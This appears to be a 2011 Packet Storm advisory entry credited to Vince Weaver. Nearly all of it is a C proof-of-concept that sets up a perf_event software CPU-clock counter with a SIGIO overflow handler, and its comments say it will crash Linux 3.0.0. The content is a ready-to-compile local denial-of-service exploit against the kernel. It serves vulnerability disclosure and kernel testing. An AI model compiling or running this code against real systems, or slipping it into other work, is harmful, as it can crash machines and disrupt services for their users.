Linux Kernel perf_count_sw_cpu_clock Denial Of Service

2011-09-01T00:00:00
ID PACKETSTORM:104689
Type packetstorm
Reporter Vince Weaver
Modified 2011-09-01T00:00:00

Description

                                        
                                            `/* Error with overflows and perf::perf_count_sw_cpu_clock */  
/* This test will crash Linux 3.0.0 */  
/* compile with gcc -O2 -o oflo_sw_cpu_clock_crash oflo_sw_cpu_clock_crash.c */  
/* by Vince Weaver <vweaver1 _at_ eecs.utk.edu> */  
#define _GNU_SOURCE 1  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <fcntl.h>  
  
#include <linux/perf_event.h>  
#include <sys/syscall.h>  
#include <unistd.h>  
#include <asm/unistd.h>  
#include <sys/ioctl.h>  
#include <sys/mman.h>  
#include <signal.h>  
  
#include <sys/prctl.h>  
#define MATRIX_SIZE 512  
static double a[MATRIX_SIZE][MATRIX_SIZE];  
static double b[MATRIX_SIZE][MATRIX_SIZE];  
static double c[MATRIX_SIZE][MATRIX_SIZE];  
static void naive_matrix_multiply(int quiet) {  
double s;  
int i,j,k;  
for(i=0;i<MATRIX_SIZE;i++) {  
for(j=0;j<MATRIX_SIZE;j++) {  
a[i][j]=(double)i*(double)j;  
b[i][j]=(double)i/(double)(j+5);  
}  
}  
for(j=0;j<MATRIX_SIZE;j++) {  
for(i=0;i<MATRIX_SIZE;i++) {  
s=0;  
for(k=0;k<MATRIX_SIZE;k++) {  
s+=a[i][k]*b[k][j];  
}  
c[i][j] = s;  
}  
}  
s=0.0;  
for(i=0;i<MATRIX_SIZE;i++) {  
for(j=0;j<MATRIX_SIZE;j++) {  
s+=c[i][j];  
}  
}  
if (!quiet) printf("Matrix multiply sum: s=%lf\n",s);  
return;  
}  
  
static int total=0;  
void our_handler(int signum,siginfo_t *oh, void *blah) {  
int fd=oh->si_fd;  
ioctl(fd , PERF_EVENT_IOC_DISABLE,0);  
total++;  
ioctl(fd , PERF_EVENT_IOC_REFRESH,1);  
}  
int perf_event_open(struct perf_event_attr *hw_event_uptr,  
pid_t pid, int cpu, int group_fd, unsigned long flags) {  
return syscall(__NR_perf_event_open,hw_event_uptr,pid,cpu,group_fd,flags);  
}  
int main( int argc, char **argv ) {  
int fd;  
void *blargh;  
struct perf_event_attr pe;  
struct sigaction sa;  
memset(&sa, 0, sizeof(struct sigaction));  
sa.sa_sigaction=our_handler;  
sa.sa_flags=SA_SIGINFO;  
if (sigaction(SIGIO,&sa,NULL)<0) {  
fprintf(stderr,"Error setting up signal handler\n");  
exit(1);  
}  
memset(&pe,0,sizeof(struct perf_event_attr));   
pe.type=PERF_TYPE_SOFTWARE;  
pe.size=sizeof(struct perf_event_attr);  
pe.config=PERF_COUNT_SW_CPU_CLOCK;  
pe.sample_period=100000;  
pe.sample_type=PERF_SAMPLE_IP;  
pe.read_format=PERF_FORMAT_GROUP|PERF_FORMAT_ID;  
pe.disabled=1;  
pe.pinned=1;  
pe.exclude_kernel=1;  
pe.exclude_hv=1;  
pe.wakeup_events=1;  
fd=perf_event_open(&pe,0,-1,-1,0);  
if (fd<0) {  
printf("Error opening\n");  
}  
blargh=mmap(NULL,(1+2)*4096,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0);  
fcntl(fd,F_SETFL,O_RDWR|O_NONBLOCK|O_ASYNC);  
fcntl(fd,F_SETSIG,SIGIO);  
fcntl(fd,F_SETOWN,getpid());  
ioctl(fd,PERF_EVENT_IOC_RESET,0);  
ioctl(fd,PERF_EVENT_IOC_ENABLE,0);  
naive_matrix_multiply(0);  
ioctl(fd,PERF_EVENT_IOC_DISABLE,0);  
munmap(blargh,(1+2)*4096);  
close(fd);  
printf("Total overflows: %d\n",total);  
return 0;  
}  
  
  
`